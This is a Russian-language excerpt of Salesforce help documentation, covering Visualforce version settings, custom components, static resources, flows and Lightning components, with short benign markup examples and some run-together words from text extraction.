Управление параметрами версии для страниц и настраиваемых компонентов Visualforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактированияинастройки
параметров версии для
страниц Visualforce:
• «Настройка

приложения»

Вцеляхобеспеченияобратнойсовместимостикаждаястраницаикаждыйнастраиваемый
компонент Visualforce сохраняется с параметрами определенной версии API и Visualforce.
Если страница или компонент Visualforce ссылается на установленные управляемые
пакеты, топараметрыверсиидлякаждогоуправляемогопакета, используемогостраницей
иликомпонентом, такжесохраняются. ПодобноVisualforce, APIикомпонентыуправляемых
пакетов используются в последующих версиях, но страницы и компоненты Visualforce
все равно остаются связанными с версиями, поведение которых уже известно.

Версия пакета — это номер, который определяет набор компонентов, загруженных в
пакет. Для номера версии используется следующийформат:
основной_номер.дополнительный_номер.номер_исправления  (например, 2.1.3). Основной и
дополнительныйномера увеличиваютсяна выбранное значениепри каждомосновном
выпуске. Значение переменной номер_исправления указывается и обновляется только в
случае выпускаисправления.Версиипакетапозволяютиздателямизменять компоненты
управляемыхпакетовпутемвыпускапоследующихверсийпакетабезнарушениятекущих
интеграций, использующих пакет.

Прим.: КомпонентыпакетаотличаютсяотнастраиваемыхкомпонентовVisualforce.
Пакет — этонаборразнообразных элементов (например, настраиваемыеобъекты,
классы и триггеры Apex, настраиваемые страницы и компоненты).

Чтобы задать версии Salesforce API и Visualforce для страницы или настраиваемого
компонента Visualforce, выполните указанные ниже действия.

1. Измените страницу или компонент Visualforce ищелкните «Параметры версии».

Прим.: При редактировании страницы или компонента в меню «Настройка»
можно изменить только параметры версии страницы или настраиваемого
компонента на вкладке «Параметры версии».

2. ВыберитеверсиюSalesforce APIвпараметре «Версия». ДаннаяверсиятакжеопределяетверсиюVisualforce, используемую
на странице или в компоненте.

3. Нажмите кнопку «Сохранить».

ЧтобынастроитьпараметрыверсиипакетадлястраницыилинастраиваемогокомпонентаVisualforce, выполнитеуказанные
ниже действия.

1. Измените страницу или компонент Visualforce ищелкните «Параметры версии».

2. Заполните поле «Версия» для каждого управляемого пакета, используемого страницей или компонентом Visualforce.
Данная версия управляемого пакета продолжает использоваться страницей или компонентом при установке более
позднихверсийуправляемогопакета, еслипараметрыверсиинеобновляютсяпользователемвручную. Чтобыдобавить
установленныйуправляемыйпакет в списокпараметров, выберитенужныйпакетиз спискадоступныхпакетов. Список
отображается только при наличии установленного управляемого пакета, который больше не связан со страницей
или компонентом.

3. Нажмите кнопку «Сохранить».

Ниже перечислены рекомендации по работе с параметрами версии пакета.

• СтраницаилинастраиваемыйкомпонентVisualforce, ссылающийсяна управляемыйпакет, по умолчаниюсвязывается
с последней установленной версией управляемого пакета, если при его сохранении версия управляемого пакета не
указывается.
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• Если страницаиликомпонент ссылаетсянапакет, то кнопка «Удалить»недоступнадляпараметров версии страницы
или компонента Visualforce, используемых управляемым пакетом. Чтобы определить области использования
управляемого пакета, нажмите кнопку «Показать зависимости».

Параметры безопасности обозревателя и Visualforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Некоторые страницы Visualforce запускаются на серверах *.force.com. Подобно
серверу *.salesforce.com, сервер *.force.com должен быть добавлен в список
надежных сайтов обозревателя.

В зависимости от используемого обозревателя и заданных параметров, некоторые
страницы могут отображать ошибку следующего содержания:

Некоторое содержимое не может быть отображено на данной странице из-за
настроек конфиденциальности обозревателя. Для отображения содержимого в
настройках конфиденциальности обозревателя разрешите получение сторонних
файлов cookie от домена mypages.na1.visual.force.com. Кроме того,
при использовании Internet Explorer домен
"mypages.na1.visual.force.com" может быть добавлен в список надежных
сайтов.

Система Salesforce дополняет некоторые страницы заголовком P3P. Ниже перечислены
параметры, составляющие данный заголовок.

Цель
CUR: сведения, используемые для выполнения соответствующего действия.

Категория
STA: механизмы обеспечения активной обратной связи с пользователем или автоматического определения
пользователей, посещающих конкретный веб-узел или просматривающих конкретное содержимое повторно
(например, HTTP-файлы cookie).

Получатель
OTR: юридические лица, следующие разным политикам. Данный параметр не может быть добавлен или исключен
пользователями.

Еслиобозревательподдерживаетспецификацию P3P, тоданныйзаголовокразрешаетотображениевсехстраницVisualforce.
Дополнительную информацию о спецификации P3P см. на веб-узле Platform for Privacy Preferences (P3P) Project.

Если обозреватель блокирует сторонние файлы cookie, не поддерживает заголовок P3P и отображает сообщение об
ошибке, подобное сообщению выше, выполните одно из указанных ниже действий.

• Настройте P3P для обозревателя.

• Разрешите обозревателю отображение сторонних файлов cookie.

• Добавьте соответствующий сервер в список исключенийфайлов cookie обозревателя.
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Компоненты Visualforce

Что такое настраиваемый компонент?

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Система Salesforce поддерживает библиотеку готовых стандартных компонентов
(например, <apex:relatedList> и <apex:dataTable>), которые могут
использоваться для разработки страниц Visualforce. При необходимости данная
библиотека может быть дополнена собственными настраиваемыми компонентами.

Настраиваемый компонент определяет типовойшаблон проектирования, который
может повторно использоваться на страницах Visualforce. Ниже перечислены
составляющие компонента.

• Разметка Visualforce, разграниченная тегом <apex:component>.

• Дополнительный контроллер компонента, созданный посредством Apex и
позволяющийкомпонентувыполнятьдополнительнуюлогику (например, сортировка
элементов списка или вычисление значений).

Предположим, страницы Visualforce требуются для создания фотоальбома. Каждая
фотография альбома использует собственный цвет границы и расположенный ниже
текстовый заголовок. Чтобы избежать повторного использования разметки Visualforce, необходимой для отображения
каждой фотографии альбома, рекомендуем создать настраиваемый компонент singlePhoto, содержащий атрибуты
для изображения, цвета границы и заголовка, которые затем используются для отображения изображения на странице.
Каждая страница Visualforce, доступная в организации, может использовать созданный настраиваемый компонент
singlePhoto аналогичностандартномукомпоненту (например, <apex:dataTable> или <apex:relatedList>).

Вотличиеотшаблоновстраниц, которыетакжепозволяютразработчикамповторноиспользоватьразметку, настраиваемые
компоненты отличаются большей эффективностью и универсальностью.

• Настраиваемые компонентыпозволяютразработчикамопределять атрибуты, которыемогут бытьпереданыкаждому
компоненту. Значение атрибута может изменять способ отображения разметки на финальной странице и логику на
основе котроллера, выполняемую для данного экземпляра компонента. Данный алгоритм отличается от алгоритма
шаблонов, которыйнеподдерживаетпередачуданныхсостраницы, использующейшаблон, вопределениешаблона.

• Описаниянастраиваемыхкомпонентовотображаютсявсправочномдиалоговомокнеприложениявместесописаниями
стандартных компонентов. Описания шаблонов, определяемых как страницы, могут просматриваться только
посредством раздела «Настройка» системы Salesforce.

СМ. ТАКЖЕ:

Определение настраиваемых компонентов Visualforce

Просмотр и редактирование настраиваемых компонентов Visualforce
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Определение настраиваемых компонентов Visualforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания настраиваемых
компонентов:
• «Настройка

приложения»

ЧтобысоздатьнастраиваемыйкомпонентVisualforce, выполнитеуказанныенижедействия.

1. В меню «Настройка» Salesforce введите строку «Компоненты» в поле «Быстрый
поиск» и выберите пункт «КомпонентыVisualforce».

2. Нажмите кнопку «Создать».

3. Введите текст, который должен использоваться для определения настраиваемого
компонента в меню «Настройка», в поле «Метка».

4. Введите текст, который должен определять данный настраиваемый компонент в
разметке Visualforce, в поле «Имя». Данное имя должно быть уникальным и может
содержать толькобуквы, цифрыисимволыподчеркивания. Имядолжноначинаться
с буквы; не может содержать пробелов и двух последовательных символов
подчеркивания, а также не может заканчиваться символом подчеркивания.

5. Введитетекстовоеописаниенастраиваемогокомпонентавполе «Описание». Данное
описание отображается вместе с описаниями других стандартных компонентов при
нажатии кнопки «Сохранить».

6. ВведитеразметкуVisualforceдляопределениянастраиваемогокомпонента в текстовое
поле «Текст». Отдельный компонент может содержать не более 1 Мб текста или
примерно 1 000 000 символов.

7. Чтобы указать версии Visualforce и API, использованные для создания данного
компонента, щелкните «Параметрыверсии». Принеобходимости укажите версии
любых управляемых пакетов, установленных в организации.

8. Чтобы сохранить внесенные изменения и просмотреть сведения о настраиваемом компоненте, нажмите кнопку
«Сохранить». Чтобы сохранить внесенные изменения и продолжить редактирование компонента, нажмите кнопку
«Быстрое сохранение». Прежде чем сохранить компонент, убедитесь в действительности разметки Visualforce.

Прим.: ЧтобысоздатьнастраиваемыйкомпонентврежимеразработкиVisualforce, добавьте ссылкунанастраиваемый
компонент, который отсутствует в разметке страницы Visualforce. После сохранения разметки отображается
специальная ссылка, позволяющаясоздатьопределениекомпонента (включаялюбые заданные атрибуты) наоснове
имени, введенного для компонента.

Например, чтобысоздатьнастраиваемыйкомпонент myNewComponent ивставитьстроку <c:myNewComponent
myNewAttribute="foo"/> в текущую разметку страницы, нажмите кнопку «Сохранить» и воспользуйтесь
ссылкой, позволяющей создать настраиваемый компонент myNewComponent со следующим стандартным
определением:

<apex:component>
<apex:attribute name="myattribute" type="String" description="TODO: Describe me"/>
<!-- Begin Default Content REMOVE THIS -->
<h1>Congratulations</h1>
This is your new Component: mynewcomponent
<!-- End Default Content REMOVE THIS -->

</apex:component>
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Чтобыизменитьданноеопределение, введите строку «Компоненты» вполе «Быстрый поиск» вменю «Настройка»,
затем выберите «КомпонентыVisualforce» ищелкните кнопку «Редактировать» напротив настраиваемого
компонента myNewComponent.

СМ. ТАКЖЕ:

Что такое настраиваемый компонент?

Что такое настраиваемый компонент?

Просмотр и редактирование настраиваемых компонентов Visualforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для клонирования,
редактирования, удаления
или выбора версий
настраиваемых
компонентов:
• «Настройка

приложения»

Введите строку «Компоненты» в поле «Быстрый поиск» вменю «Настройка», выберите
«КомпонентыVisualforce»ищелкнитеимянастраиваемогокомпонентадляпросмотра
определения.

Ниже перечислены действия, доступные на странице сведений.

• Чтобы изменить настраиваемый компонент, нажмите кнопку «Правка».

• Чтобы удалить настраиваемый компонент, нажмите кнопку «Удалить».

• Чтобы клонировать настраиваемый компонент, нажмите кнопку «Клонировать».
Введите имя нового компонента.

• Чтобыпросмотреть все ссылкинаданныйнастраиваемыйкомпонентворганизации,
щелкните «Где это используется?».

• Чтобы просмотреть элементы (например, другие компоненты, полномочия или
настройки), необходимые для того, чтобы данный настраиваемый компонент был
действителен, нажмите кнопку «Показать зависимости».

Чтобы просмотреть созданный компонент, воспользуйтесь адресом
http://мой_экземпляр_Salesforce/apexcomponent/имя_нового_компонента, где
значение мой_экземпляр_Salesforce — это имя экземпляра Salesforce (например,
na3.salesforce.com), а значение имя_нового_компонента соответствует значению
поля «Имя» в определении настраиваемого компонента.

Компонент отображается как страница Visualforce. Соответственно, если компонент
основываетсяна атрибутахилисодержимомтекста тега компонента, тоданный URL-адрес
может возвращать непредвиденные результаты. Чтобы выполнить дополнительное
тестирование, добавьтенастраиваемыйкомпонентна страницуVisualforceипросмотрите
страницу.

СМ. ТАКЖЕ:

Что такое настраиваемый компонент?

5635

Apex, Visualforce и компоненты LightningРасширение Salesforce посредством кода



Управление настраиваемыми компонентами Visualforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания и
редактирования
настраиваемых
компонентов:
• «Настройка

приложения»

Созданные настраиваемые компоненты доступны для просмотра, редактирования и
удаления. Введите строку «Компоненты» в поле «Быстрый поиск» в меню «Настройка»
и выберите пункт «Компоненты Visualforce», чтобы отобразить список, содержащий
все настраиваемые компоненты, определенные для организации. Ниже перечислены
действия, доступные на данной странице.

• Чтобы создать настраиваемый компонент, нажмите кнопку «Создать».

• Чтобы просмотреть подробные сведения о компоненте, щелкните имя нужного
компонента.

• Чтобы изменить имя или разметку компонента, щелкните ссылку «Правка».

Прим.: Значок указывает на использование настраиваемого компонента
Visualforce в установленном управляемом пакете. Управляемый пакет не
поддерживает редактирование или удаление настраиваемого компонента
Visualforce. Значок указывает, что настраиваемый компонент Visualforce,
используемый в управляемом выпущенном ранее пакете, будет удален при
следующей загрузке пакета. Настраиваемый компонент Visualforce может быть
восстановлен на странице сведений о пакете.

• Чтобыудалитьнастраиваемыйкомпонентизорганизации, щелкнитессылку «Удал.».

Прим.: Префикс пространства имен добавляется в классы и триггеры Apex,
страницыикомпонентыVisualforce, фирменныешаблоны, папки, элементы S-Control,
статические ресурсы, веб-ссылки и типы настраиваемых отчетов при их наличии
в управляемом пакете. Поле префикса пространства имен отображается для
фирменныхшаблонов, папокитиповнастраиваемыхотчетов толькоприналичии
полномочия «Настройка приложения».

Статические ресурсы

Что такое статический ресурс?

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Статические ресурсыпозволяют загружать содержимое, котороеможет использоваться
страницами Visualforce, включая архивы (например, файлы ZIP и JAR), изображения,
таблицы стилей, JavaScript и прочие файлы.

Нижеперечисленыпреимуществазагрузкифайланавкладку «Документы» посредством
статического ресурса.

• Связанные файлы могут быть объединены в иерархию каталогов, которая может
быть загружена в качестве архива ZIP и JAR.

• Глобальная переменная $Resource позволяет разметке страницы ссылаться на
статическийресурспоименивместожестко запрограммированныхкодовдокумента.

– Чтобы добавить ссылку на отдельныйфайл, воспользуйтесь полем слияния
$Resource.<имя_ресурса>, где <имя_ресурса> — это имя, указанное при загрузке
ресурса. Например:

<apex:image url="{!$Resource.TestImage}" width="50" height="50"/>
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или

<apex:includeScript value="{!$Resource.MyJavascriptFile}"/>

– Чтобы добавить ссылку на файл архива, воспользуйтесь функцией URLFOR. Укажите имя статического ресурса,
введенное при загрузке, посредством первого параметра, а путь к нужному файлу архива посредством второго
параметра. Например:

<apex:image url="{!URLFOR($Resource.TestZip,
'images/Bluehills.jpg')}" width="50" height="50"/>

или

<apex:includeScript value="{!URLFOR($Resource.LibraryJS, '/base/subdir/file.js')}"/>

• Чтобы добавить ссылку на другое содержимое архива, воспользуйтесь относительными путями в файлах архивов
статического ресурса. Например, CSS-файл styles.css использует следующий стиль:

table { background-image: img/testimage.gif }

ПрииспользованииданногостилянастраницеVisualforce убедитесь, чтоизображениеможетбытьнайдено CSS-файлом.
Создайте архив (например, ZIP-файл), содержащийфайл styles.css и изображение img/testimage.gif.
Убедитесь, что архив сохраняет структурупути. Затем загрузите архивныйфайлкак статическийресурс style_resources.
Затем дополните страницу следующим компонентом:

<apex:stylesheet value="{!URLFOR($Resource.style_resources, 'styles.css')}"/>

Еслистатическийресурссодержиттаблицустилейиизображение, тоотносительныйпутьвтаблицестилейвозвращает
изображение.

Размер одного статического ресурса может составлять не более 5 Мб. Общий размер статических ресурсов организации
может составлять не более 250 Мб. Статические ресурсы учитываются хранилищем данных организации.

СМ. ТАКЖЕ:

Определение статических ресурсов
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Определение статических ресурсов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания статических
ресурсов:
• «Настройка

приложения»

Чтобы создать статический ресурс, выполните указанные ниже действия.

1. Введите строку «Статические ресурсы» вполе «Быстрый поиск» вменю «Настройка»
и выберите пункт «Статические ресурсы».

2. Нажмите кнопку «Создать».

3. Введите текст, который должен использоваться для определения ресурса в разметке
Visualforce, в поле «Имя». Данное имя должно быть уникальным и может содержать
только буквы, цифры и символы подчеркивания. Имя должно начинаться с буквы;
не может содержать пробелов и двух последовательных символов подчеркивания,
а также не может заканчиваться символом подчеркивания.

Прим.: Изменение имени статического ресурса, используемого разметкой
Visualforce, инициирует обновление разметки Visualforce.

4. Введите дополнительное описание ресурса в текстовое поле «Описание».

5. Чтобы выбрать локальную копию нужного ресурса, нажмите кнопку «Обзор»
напротив текстового поля «Файл».

Размеродного статическогоресурсаможет составлятьнеболее 5 Мб. Общийразмер
статических ресурсов организации может составлять не более 250 Мб.

6. Заполните поле «Управление кэшем».

• «Личный»: данные статического ресурса, кэшированные на сервере Salesforce,
недоступныдругимпользователям. Вкэшехранятся только статическиересурсыдля текущегосеансапользователя.

Прим.: Параметрам кэширования для статических ресурсов назначается значение «Личный» при
использованиисайта Force.com, поддерживающегоограниченияподиапазону IP-адресовиливременивхода
для профиля пользователя-гостя. Сайты, поддерживающие ограничения для профиля пользователя-гостя,
кэшируют статические ресурсы только в пределах обозревателя. Кроме того, при ограничении доступа к
общедоступному сайту удаление статических ресурсов из кэша Salesforce и любого промежуточного кэша
может занять до 45 дней.

• «Общедоступный»: данныестатическогоресурса, кэшированныенасервереSalesforce, доступныдругимпользователям
организации для сокращения времени загрузки.

Спецификации W3C для определений поля заголовка содержат более подробную техническую информацию о
функции управления кэшем.

Прим.: Данная функция доступна только тем организациям, которые поддерживают сайты и используют
статические ресурсы.

7. Нажмите кнопку «Сохранить».

Внимание: При использовании приложения WinZip рекомендуем установить последнюю версию. Устаревшие
версии приложения WinZip могут инициировать потерю данных.

СМ. ТАКЖЕ:

Просмотр и редактирование статических ресурсов

Что такое статический ресурс?
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Просмотр и редактирование статических ресурсов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для клонирования,
редактирования или
удаления статических
ресурсов:
• «Настройка

приложения»

Чтобыпросмотреть сведенияо статическомресурсе, включая тип MIME, размервбайтах,
даты создания и последнего изменения, введите строку «Статические ресурсы» в поле
«Быстрый поиск» в меню «Настройка», выберите пункт «Статические ресурсы» и
щелкните имя нужного ресурса.

Ниже перечислены действия, доступные на странице сведений.

• Чтобы изменить ресурс, нажмите кнопку «Правка».

• Чтобы удалить ресурс, нажмите кнопку «Удалить».

• Чтобы клонировать ресурс, нажмите кнопку «Клонировать». Введите имя нового
ресурса.

• Чтобы просмотреть все ссылки на данный статический ресурс в организации,
щелкните «Где это используется?».

СМ. ТАКЖЕ:

Определение статических ресурсов

Управление статическими ресурсами

Что такое статический ресурс?

Управление статическими ресурсами

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания и
редактирования статических
ресурсов:
• «Настройка

приложения»

Созданные статические ресурсы доступны для настройки, редактирования и удаления.
Введите строку «Статические ресурсы» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Статические ресурсы», чтобы отобразить список, содержащий все
статические ресурсы, определенные для организации. Ниже перечислены действия,
доступные на данной странице.

• Чтобысоздать статическийресурс, нажмитекнопку «Создатьстатическийресурс».

• Чтобы просмотреть подробные сведения о странице, включая тип MIME и размер,
щелкните имя нужного ресурса.

• Чтобы изменить имя или загрузить новую версию ресурса, щелкните ссылку
«Правка» напротив нужного ресурса.

• Чтобы удалить ресурс, щелкните ссылку «Удал.».
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Прим.: Префикс пространства имен добавляется в классы и триггеры Apex, страницы и компоненты Visualforce,
фирменные шаблоны, папки, элементы S-Control, статические ресурсы, веб-ссылки и типы настраиваемых отчетов
приихналичиивуправляемомпакете. Полепрефиксапространстваименотображаетсядляфирменныхшаблонов,
папок и типов настраиваемых отчетов только при наличии полномочия «Настройка приложения».

СМ. ТАКЖЕ:

Просмотр и редактирование статических ресурсов

Что такое статический ресурс?

Потоки в Visualforce

Добавление потока на страницу Visualforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактированияинастройки
параметров версии для
страниц Visualforce:
• «Настройка

приложения»

Для активации, деактивации
или удаления потока, либо
редактирования свойств
потока:
• «Управление Force.com

Flow»

Чтобынастроитьвнешнийвидпотокаилирасширитьегофункциональныевозможности,
добавьтепотокнастраницуVisualforce. Еслиорганизацияиспользуетпотоки, включенные
для сайтовипорталов, то страницаVisualforceможетиспользоваться для доставкипотока
пользователям сайта Force.com, портала или сообщества.

Прим.: Пользователимогутвыполнятьтолькопотоки, имеющиеактивнуюверсию.
Придобавлениипотока, неимеющегоактивнойверсии, отображается сообщение
обошибке. Придобавлениипотока, содержащегоэлементподпотока, должнабыть
доступна активная версия потока, вызываемого элементом подпотока.

Чтобы добавить поток на страницу Visualforce, воспользуйтесь компонентом
<flow:interview>.

1. Найдите уникальное имя потока.

a. Введите строку «Потоки» в поле «Быстрый поиск» в меню «Настройка», затем
выберите пункт «Потоки».

b. Щелкните по имени потока, который хотите добавить.

2. Создайте страницу Visualforce или откройте текущую страницу для редактирования.

3. Добавьте компонент <flow:interview> между тегами <apex:page>.

4. Укажите уникальное имя потока посредством атрибута name. Например:

<apex:page>
<flow:interview name="MyUniqueFlowName"/>
</apex:page>

Прим.: Если поток установлен из управляемого пакета, то атрибут name должен иметь следующийформат:
пространство_имен.уникальное_имя_потока.
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5. Чтобы выбрать пользователей, которые могут выполнять поток, настройте параметры безопасности для
соответствующей страницы Visualforce.

Внешние пользователи (например, пользователи сообщества) могут выполнять потоки только при наличии доступа
к странице Visualforce. Внутренние пользователи могут выполнять потоки при наличии доступа к странице Visualforce
и одного из компонентов ниже.

• Полномочие «Выполнение потоков»

• Поле «Пользователь Force.com Flow», включенное на странице сведений о пользователе

6. Чтобы определить действия, выполняемые при нажатии кнопки «Готово» на последней странице потока, настройте
алгоритм завершения потока.

СМ. ТАКЖЕ:

Visual Workflow

Управление страницами Visualforce сайтов Force.com

Безопасность страниц Visualforce

Распространение потока

Руководство разработчика Visualforce: визуализация потоков посредством Visualforce

Примеры перенаправления пользователей потока со страницы Visualforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

После добавления потока на страницу Visualforce перенаправляйте пользователей на
другой экран в Salesforce после того, как они нажмут кнопку «Завершить». Для этого
нужно настроить атрибут finishLocation.

Прим.: Пользователи потока не могут перенаправляться на URL-адрес,
используемый вне организации Salesforce.

Чтобы направить пользователей на другую страницу Visualforce...
Задайте для атрибута finishLocation значение {!$Page.YourPage}.

В данном примере пользователей перенаправляют на страницу Visualforce под
названием MyUniquePage.

<apex:page>
<flow:interview name="MyUniqueFlow" finishLocation="{!$Page.MyUniquePage}"/>

</apex:page>

Чтобы направить пользователей на относительный URL-адрес в вашей организации Saleforce...
Задайте для атрибута finishLocation значение {URLFOR('relativeURL')}.

Данный пример перенаправляет пользователей на начальную страницу Salesforce.

<apex:page>
<flow:interview name="MyUniqueFlow" finishLocation="{!URLFOR('/home/home.jsp')}"/>

</apex:page>
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Дополнительные примеры см. в разделе «Настройка атрибута finishLocation в потоке» руководства разработчика
Visualforce.

СМ. ТАКЖЕ:

Добавление потока на страницу Visualforce

Visual Workflow

Руководство разработчика Visualforce: визуализация потоков посредством Visualforce

Включение и отключение чата на страницах Visualforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager и Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения чата на
настраиваемых страницах
Visualforce:
• «Настройка

приложения»

Добавьте чат на настраиваемые страницы Visualforce.

1. Введите строку «Параметры чата» в поле «Быстрый поиск» в меню «Настройка»
и выберите пункт «Параметры чата».

2. Нажмите кнопку «Правка».

3. Установите флажок «Разрешить» в разделе «Параметры Visualforce».

Чтобы отключить чат на настраиваемых страницах Visualforce, снимите данный
флажок.

4. Нажмите кнопку «Сохранить».

Чтобыотменить отображениечата на конкретной странице Visualforce, выполните одно
из указанных ниже действий.

• Отключите заголовок вкладки Salesforce на странице, указав <apex:page
showHeader=”false”>.

• Задайте атрибуту страницы contentType нужное значение, кроме text/html
(например, <apex:page contentType="text/plain">).
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Компоненты Lightning

Общие сведения об инфраструктуре компонентов Lightning

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно для
использования в версиях:
Contact Manager, Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Создание компонентов
Lightning посредством
пользовательского
интерфейса доступно в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition или
безопасной среде.

Инфраструктура компонентов Lightning — это инфраструктура пользовательского
интерфейса для разработки динамических веб-приложений, предназначенных для
мобильных и настольных устройств. Кроме того, это современная инфраструктура для
создания одностраничных приложений, поддерживающих возможность дальнейшей
разработки.

Инфраструктураподдерживает раздельнуюмногоуровневуюразработку компонентов,
устанавливающуюсвязьмеждуклиентомисервером.Онаиспользует JavaScript настороне
клиента и Apex на стороне сервера.

Использование инфраструктуры компонентов Lightning для разработки компонентов
и приложений предоставляет целый ряд преимуществ.

Стандартный набор компонентов
Инфраструктураподдерживает стандартныйнаборкомпонентов, предназначенных
для быстрого создания приложений. Пользователям не придется тратить время на
оптимизациюприложенийдляразныхустройств. Всеэтовыполняетсякомпонентами.

Экосистема со множеством компонентов
Создайте готовыекработе компонентыиоткройтекнимдоступв Salesforce1, Lightning
Experienceив сообществах. Пользователи Salesforce1получаютдоступк компонентам
из меню навигации. Для настройки Lightning Experience или сообществ используйте
перетаскиваемые на странице Lightning в конструкторе приложений Lightning или
конструкторе сообществ. В AppExchange доступны дополнительные компоненты
для организации. Подобным образом можно публиковать компоненты и
предоставлять к ним общий доступ другим пользователям.

Производительность
Инфраструктураиспользует архитектуру клиента с отслеживаниемсостоянияи серверабез отслеживания состояния,
зависящуюот JavaScript на стороне клиента, для управленияметаданнымикомпонентапользовательскогоинтерфейса
и данными приложения. Клиент вызывает сервер только по мере необходимости (например, для получения
дополнительных метаданных или данных). Для повышения эффективности сервер отправляет только данные,
необходимые пользователю. Инфраструктура использует JSON для обмена данными между сервером и клиентом.
Инфраструктуравнимательнообрабатываетсервер, обозреватель, устройстваисетьпользователя, позволяяполностью
сосредоточиться на логике и взаимодействии приложений.

Архитектура под управлением событий
Инфраструктура использует архитектуру под управлением событий для устранения связи между компонентами.
Любой компонент может подписаться на событие приложения или доступное событие компонента.

Ускоренная разработка
Инфраструктура позволяет рабочим группам сократить время выполнения поставленных задач путем применения
стандартных компонентов, предназначенных для настольных и мобильных устройств. Создание приложения
посредством компонентов облегчает процесс параллельного проектирования и повышает общую эффективность
разработки.

Инкапсулирование компонентов позволяет скрывать внутренние элементы, но предоставлять пользователям доступ
к их общей форме. Благодаря данному строгому разделению, авторы компонентов могут изменять внутренние
сведения о внедрении без уведомления соответствующих пользователей.
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Поддержка устройств и обозревателей
Приложения могут успешно использоваться на разных устройствах. Инфраструктура компонентов Lightning
поддерживает новейшие технологии (например, HTML5, CSS3 и события прикосновения).

Рекомендуем использовать консоль разработчика для создания компонентов Lightning.

СМ. ТАКЖЕ:

Использование консоли разработчика

Добавление компонентов Lightning в приложение Salesforce1

https://developer.salesforce.com/docs/atlas.en-us.lightning.meta/lightning/

Отладка кода JavaScript

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно для
использования в версиях:
Contact Manager, Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Создание компонентов
Lightning посредством
пользовательского
интерфейса доступно в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition или
безопасной среде.

Включите режим отладки для быстрой отладки кода JavaScript в компонентах Lightning.

По умолчанию инфраструктура компонентов Lightning выполняется в режиме PROD.
Данныйрежимобеспечиваетмаксимальнуюпроизводительность. Ониспользует Google
Closure Compiler для оптимизации и минимизации размера кода JavaScript. Имя метода и
код активно маскируются.

При включении режима отладки инфраструктура выполняется в режиме PRODDEBUG.
Он не использует Google Closure Compiler, поэтому код JavaScript не минимизируется,
обеспечивая удобство чтения и отладки.

Чтобы включить режим отладки, выполните указанные ниже действия.

1. Вразделе «Настройка» введите «Компоненты Lightning» вполе «Быстрый поиск»,
затем выберите «Компоненты Lightning».

2. Установите флажок «Включить режим отладки».

3. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Общие сведения об инфраструктуре компонентов Lightning

https://developer.salesforce.com/docs/atlas.en-us.lightning.meta/lightning/
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Добавление компонентов Lightning в приложение Salesforce1

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно для
использования в версиях:
Contact Manager, Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Создание компонентов
